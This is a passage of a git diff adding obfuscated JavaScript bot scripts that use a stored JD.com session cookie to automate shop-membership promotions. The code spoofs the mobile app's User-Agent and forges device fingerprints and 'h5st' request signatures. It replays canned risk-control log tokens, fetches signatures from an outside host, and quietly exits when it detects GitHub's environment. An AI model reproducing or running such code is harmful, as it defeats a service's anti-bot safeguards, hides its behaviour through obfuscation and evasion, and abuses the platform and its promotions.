12bb('1a')](_0x5f5cb4[_0x12bb('257')]);}else{$[_0x12bb('1a')](_0x5f5cb4[_0x12bb('258')]);}}}else{Host=process[_0x12bb('19a')][_0x12bb('259')];}}}else{$[_0x12bb('11')]($[_0x12bb('12')],_0x2664bd[_0x12bb('25a')],_0x2664bd[_0x12bb('25b')],{'open-url':_0x2664bd[_0x12bb('25b')]});return;}}catch(_0x8dfda4){if(_0x5f5cb4[_0x12bb('24d')](_0x5f5cb4[_0x12bb('25c')],_0x5f5cb4[_0x12bb('25c')])){$[_0x12bb('c6')](_0x8dfda4);}else{_0x5f5cb4[_0x12bb('25d')](_0x1ad4a0,_0x1538a4);}}finally{_0x5f5cb4[_0x12bb('240')](_0x1ad4a0);}});}else{$[_0x12bb('1a')](_0xc38f99[_0x12bb('23b')]);}});}function getShopOpenCardInfo(_0x583137,_0x534c61){var _0x2278a0={'\x5a\x4a\x64\x4a\x6d':_0x12bb('60'),'\x71\x4c\x72\x62\x4d':function(_0x1dd8f6,_0x468a5d){return _0x1dd8f6===_0x468a5d;},'\x41\x48\x56\x78\x6a':_0x12bb('25e'),'\x48\x61\x67\x5a\x45':_0x12bb('25f'),'\x4f\x48\x4c\x79\x55':_0x12bb('260'),'\x74\x72\x55\x43\x58':function(_0xa2250d){return _0xa2250d();},'\x63\x41\x4c\x7a\x72':function(_0x51bb48,_0x1f8fe3){return _0x51bb48(_0x1f8fe3);},'\x51\x5a\x50\x62\x4a':_0x12bb('1c5'),'\x41\x44\x56\x44\x4e':_0x12bb('1c6'),'\x67\x78\x4f\x44\x70':_0x12bb('d3'),'\x57\x46\x54\x6b\x50':_0x12bb('cf'),'\x4d\x68\x74\x42\x57':_0x12bb('d0')};let _0x1fc05a={'\x75\x72\x6c':_0x12bb('261')+_0x2278a0[_0x12bb('262')](encodeURIComponent,JSON[_0x12bb('13a')](_0x583137))+_0x12bb('263'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2278a0[_0x12bb('264')],'\x41\x63\x63\x65\x70\x74':_0x2278a0[_0x12bb('265')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x2278a0[_0x12bb('266')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x12bb('120')+$[_0x12bb('37')]+_0x12bb('121')+$[_0x12bb('34')]+_0x12bb('122'),'Accept-Language':_0x2278a0[_0x12bb('267')],'\x52\x65\x66\x65\x72\x65\x72':_0x12bb('268')+_0x534c61+_0x12bb('269')+_0x2278a0[_0x12bb('262')](encodeURIComponent,$[_0x12bb('3e')]),'Accept-Encoding':_0x2278a0[_0x12bb('26a')]}};return new Promise(_0x189a8b=>{var _0x4e7558={'\x67\x6e\x79\x6f\x4e':_0x2278a0[_0x12bb('26b')],'\x58\x67\x54\x66\x58':function(_0x286a6d,_0x4d606b){return _0x2278a0[_0x12bb('26c')](_0x286a6d,_0x4d606b);},'\x59\x48\x4b\x41\x44':_0x2278a0[_0x12bb('26d')],'\x77\x50\x44\x4a\x72':function(_0x2f5c07,_0x4dbbd4){return _0x2278a0[_0x12bb('26c')](_0x2f5c07,_0x4dbbd4);},'\x63\x4e\x74\x71\x49':_0x2278a0[_0x12bb('26e')],'\x64\x66\x70\x6e\x72':_0x2278a0[_0x12bb('26f')],'\x79\x6a\x74\x64\x54':function(_0xa99b1b){return _0x2278a0[_0x12bb('270')](_0xa99b1b);}};$[_0x12bb('c0')](_0x1fc05a,(_0x12a55e,_0x367e28,_0x44001b)=>{var _0x3df090={'\x4f\x46\x61\x50\x55':_0x4e7558[_0x12bb('271')]};try{if(_0x12a55e){console[_0x12bb('1a')](_0x12a55e);}else{res=JSON[_0x12bb('15')](_0x44001b);if(res[_0x12bb('1e9')]){if(_0x4e7558[_0x12bb('272')](_0x4e7558[_0x12bb('273')],_0x4e7558[_0x12bb('273')])){if(res[_0x12bb('108')][_0x12bb('1ea')]){$[_0x12bb('1eb')]=res[_0x12bb('108')][_0x12bb('1ea')][0x0][_0x12bb('1ec')][_0x12bb('c')];}}else{cookie=''+cookie+ck[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}}}}catch(_0x2b71fa){if(_0x4e7558[_0x12bb('274')](_0x4e7558[_0x12bb('275')],_0x4e7558[_0x12bb('276')])){$[_0x12bb('1a')](_0x3df090[_0x12bb('277')]);}else{console[_0x12bb('1a')](_0x2b71fa);}}finally{_0x4e7558[_0x12bb('278')](_0x189a8b);}});});}async function bindWithVender(_0x1d7807,_0x1282ca){var _0x33a066={'\x52\x59\x4e\x48\x5a':_0x12bb('64'),'\x41\x49\x6e\x43\x78':function(_0x2fc176,_0x1ef15a){return _0x2fc176!==_0x1ef15a;},'\x57\x48\x6a\x65\x79':_0x12bb('279'),'\x46\x44\x77\x79\x4c':_0x12bb('27a'),'\x48\x55\x79\x5a\x73':_0x12bb('27b'),'\x4e\x45\x65\x6e\x58':_0x12bb('27c'),'\x52\x42\x67\x71\x71':function(_0x1379ea){return _0x1379ea();},'\x46\x62\x67\x65\x45':function(_0x14ce12,_0x1115dd,_0x35e723){return _0x14ce12(_0x1115dd,_0x35e723);},'\x45\x41\x6e\x6a\x68':_0x12bb('27d'),'\x6e\x48\x4c\x4d\x6b':_0x12bb('1c5'),'\x62\x69\x57\x74\x66':_0x12bb('1c6'),'\x55\x6a\x50\x4d\x4b':_0x12bb('d3'),'\x63\x6a\x7a\x42\x71':_0x12bb('cf'),'\x4f\x6f\x6f\x6e\x4f':function(_0x176a35,_0x14763d){return _0x176a35(_0x14763d);},'\x76\x59\x51\x6d\x6a':_0x12bb('d0')};return h5st=await _0x33a066[_0x12bb('27e')](geth5st,_0x33a066[_0x12bb('27f')],_0x1d7807),opt={'\x75\x72\x6c':_0x12bb('280')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x33a066[_0x12bb('281')],'\x41\x63\x63\x65\x70\x74':_0x33a066[_0x12bb('282')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x33a066[_0x12bb('283')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x12bb('120')+$[_0x12bb('37')]+_0x12bb('121')+$[_0x12bb('34')]+_0x12bb('122'),'Accept-Language':_0x33a066[_0x12bb('284')],'\x52\x65\x66\x65\x72\x65\x72':_0x12bb('268')+_0x1282ca+_0x12bb('285')+_0x33a066[_0x12bb('286')](encodeURIComponent,$[_0x12bb('3e')]),'Accept-Encoding':_0x33a066[_0x12bb('287')]}},new Promise(_0x4f6157=>{var _0x58c7b9={'\x57\x52\x54\x4b\x65':_0x33a066[_0x12bb('288')],'\x54\x42\x64\x43\x61':function(_0x5cd718,_0x1ec1ae){return _0x33a066[_0x12bb('289')](_0x5cd718,_0x1ec1ae);},'\x63\x6f\x68\x49\x7a':_0x33a066[_0x12bb('28a')],'\x41\x56\x43\x49\x56':_0x33a066[_0x12bb('28b')],'\x5a\x4f\x59\x65\x57':_0x33a066[_0x12bb('28c')],'\x6a\x59\x66\x69\x70':_0x33a066[_0x12bb('28d')],'\x72\x6b\x61\x4f\x5a':function(_0x6001b0){return _0x33a066[_0x12bb('28e')](_0x6001b0);}};$[_0x12bb('c0')](opt,(_0x47921c,_0x177e1c,_0x532b0c)=>{var _0x4632d7={'\x68\x7a\x45\x4e\x66':_0x58c7b9[_0x12bb('28f')]};try{if(_0x47921c){if(_0x58c7b9[_0x12bb('290')](_0x58c7b9[_0x12bb('291')],_0x58c7b9[_0x12bb('292')])){console[_0x12bb('1a')](_0x47921c);}else{if(_0x47921c){console[_0x12bb('1a')](_0x47921c);}else{res=JSON[_0x12bb('15')](_0x532b0c);if(res[_0x12bb('1e9')]){console[_0x12bb('1a')](res);$[_0x12bb('1e4')]=res[_0x12bb('1e5')];}}}}else{res=JSON[_0x12bb('15')](_0x532b0c);if(res[_0x12bb('1e9')]){console[_0x12bb('1a')](res);$[_0x12bb('1e4')]=res[_0x12bb('1e5')];}}}catch(_0x100fc8){if(_0x58c7b9[_0x12bb('290')](_0x58c7b9[_0x12bb('293')],_0x58c7b9[_0x12bb('294')])){console[_0x12bb('1a')](_0x100fc8);}else{$[_0x12bb('1a')](_0x4632d7[_0x12bb('295')]);}}finally{_0x58c7b9[_0x12bb('296')](_0x4f6157);}});});}function geth5st(_0xb8b8e6,_0x16280f){var _0xa0b2e4={'\x55\x43\x44\x6b\x70':function(_0x3a515c,_0x35600a){return _0x3a515c!==_0x35600a;},'\x6c\x41\x74\x6a\x4d':_0x12bb('297'),'\x43\x72\x77\x49\x64':function(_0x150aaf,_0x4450a7){return _0x150aaf===_0x4450a7;},'\x79\x44\x4a\x71\x4b':_0x12bb('298'),'\x46\x69\x4b\x77\x58':_0x12bb('299'),'\x78\x56\x4b\x66\x68':function(_0x44d3de,_0x2657d7){return _0x44d3de(_0x2657d7);},'\x6c\x44\x67\x56\x42':_0x12bb('29a'),'\x75\x47\x43\x4c\x6c':_0x12bb('29b'),'\x73\x72\x41\x4c\x55':_0x12bb('29c'),'\x69\x50\x55\x7a\x71':_0x12bb('29d'),'\x4a\x55\x76\x44\x77':function(_0x1dc618,_0x2818b2){return _0x1dc618*_0x2818b2;},'\x53\x6a\x48\x54\x6f':_0x12bb('cd')};return new Promise(async _0x500437=>{let _0x3680f5={'\x61\x70\x70\x49\x64':_0xa0b2e4[_0x12bb('29e')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0xa0b2e4[_0x12bb('29f')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0xb8b8e6,'\x62\x6f\x64\x79':JSON[_0x12bb('13a')](_0x16280f),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0xa0b2e4[_0x12bb('2a0')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x12bb('c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x171712='';let _0x2d226c=[_0xa0b2e4[_0x12bb('2a1')]];if(process[_0x12bb('19a')][_0x12bb('259')]){_0x171712=process[_0x12bb('19a')][_0x12bb('259')];}else{_0x171712=_0x2d226c[Math[_0x12bb('89')](_0xa0b2e4[_0x12bb('2a2')](Math[_0x12bb('8b')](),_0x2d226c[_0x12bb('21')]))];}let _0xf40605={'\x75\x72\x6c':_0x12bb('2a3'),'\x62\x6f\x64\x79':JSON[_0x12bb('13a')](_0x3680f5),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x171712,'Content-Type':_0xa0b2e4[_0x12bb('2a4')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0xa0b2e4[_0x12bb('2a2')](0x1e,0x3e8)};$[_0x12bb('10e')](_0xf40605,async(_0x48baa2,_0x1b8681,_0x3680f5)=>{try{if(_0xa0b2e4[_0x12bb('2a5')](_0xa0b2e4[_0x12bb('2a6')],_0xa0b2e4[_0x12bb('2a6')])){cookie=''+cookie+sk[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}else{if(_0x48baa2){_0x3680f5=await geth5st[_0x12bb('2a7')](this,arguments);}else{}}}catch(_0x53b8b4){$[_0x12bb('c6')](_0x53b8b4,_0x1b8681);}finally{if(_0xa0b2e4[_0x12bb('2a8')](_0xa0b2e4[_0x12bb('2a9')],_0xa0b2e4[_0x12bb('2aa')])){$[_0x12bb('1a')](_0x48baa2);}else{_0xa0b2e4[_0x12bb('2ab')](_0x500437,_0x3680f5);}}});});};_0xodr='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/function/jdcookie.js b/function/jdcookie.js new file mode 100644 index 0000000..5444c49 --- /dev/null +++ b/function/jdcookie.js @@ -0,0 +1,6 @@ +// 本地测试在这边填写cookie +let cookie = [ +]; +module.exports = { + cookie +} diff --git a/function/jinli_log.ts b/function/jinli_log.ts new file mode 100644 index 0000000..1ec621a --- /dev/null +++ b/function/jinli_log.ts @@ -0,0 +1,9 @@ +let logs = [ +'"random":"34038984","log":"1649609592095~18RCD4zkS04d41d8cd98f00b204e9800998ecf8427e~1,1~E97F477EB64B001195F05A4D48067CD6C272595D~0doi8po~C~TRpGXBAPbWUeE0ZbWxoIam8ZFF9AXxAPBxQQQkEXDBoDBwYMAw8KBgcAAw4KAgEMABoeE0VQUhoIE0ZBQkxGV0dTFBQQRldUFAIQRVRBV01TRFMXGhpCVVwXDGMGHQIZBhQBHQAZB2UeE1hfFAIDHRBWRRoIEwVQUFpQAFABAAgEVAZTD1sGBwABUw9RCQMHDw1WCQAFFBQQX0IXDBp+WFxAThhKCQRqAAwQHRBBFAIQAAQBDw4CCAcMBAgLBBAZFFJZEwgXVxoeE1RFVBoIExAZFFZEEwgXcVddVl5QFnFcUhwXGhpcUEQXDBoLAwsGBRoeE0FWRBoIagQDARQBBgdoGhpAXhAPbRpTEx4XVxoeE1MXGhpTEx4XVxoeE1MXGhpTE28ZFFFdUBAPFF5UV1RTUExGEx4XV1IQCxBAFBQQUlsXDBpFAhwHGAwQHRBWUGdEEwgXBggQHRBXUhoIE0BUWFxdXA8GAggBCQsNAhoeE19fFAJpAR4FGghvHRBXWldVEwgXVxoeE19GURoIE1MXSw==~04y5u3i"', + + +] + +export { + logs +} \ No newline at end of file diff --git a/function/jxAlgo.js b/function/jxAlgo.js new file mode 100644 index 0000000..700ba86 --- /dev/null +++ b/function/jxAlgo.js @@ -0,0 +1,204 @@ +let request = require("request"); +let CryptoJS = require('crypto-js'); +let qs = require("querystring"); +Date.prototype.Format = function(fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +class jxAlgo { + constructor(params = {}) { + this.appId = 10001 + this.result = {} + this.timestamp = Date.now(); + for (let i in params) { + this[i] = params[i] + } + } + set(params = {}) { + for (let i in params) { + this[i] = params[i] + } + } + get(key) { + return this[key] + } + async dec(url) { + if (!this.tk) { + this.fingerprint = generateFp(); + await this.requestAlgo() + } + let obj = qs.parse(url.split("?")[1]); + let stk = obj['_stk']; + return this.h5st(this.timestamp, stk, url) + } + h5st(time, stk, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = this.enCryptMethodJD(this.tk, this.fingerprint.toString(), timestamp.toString(), this.appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) 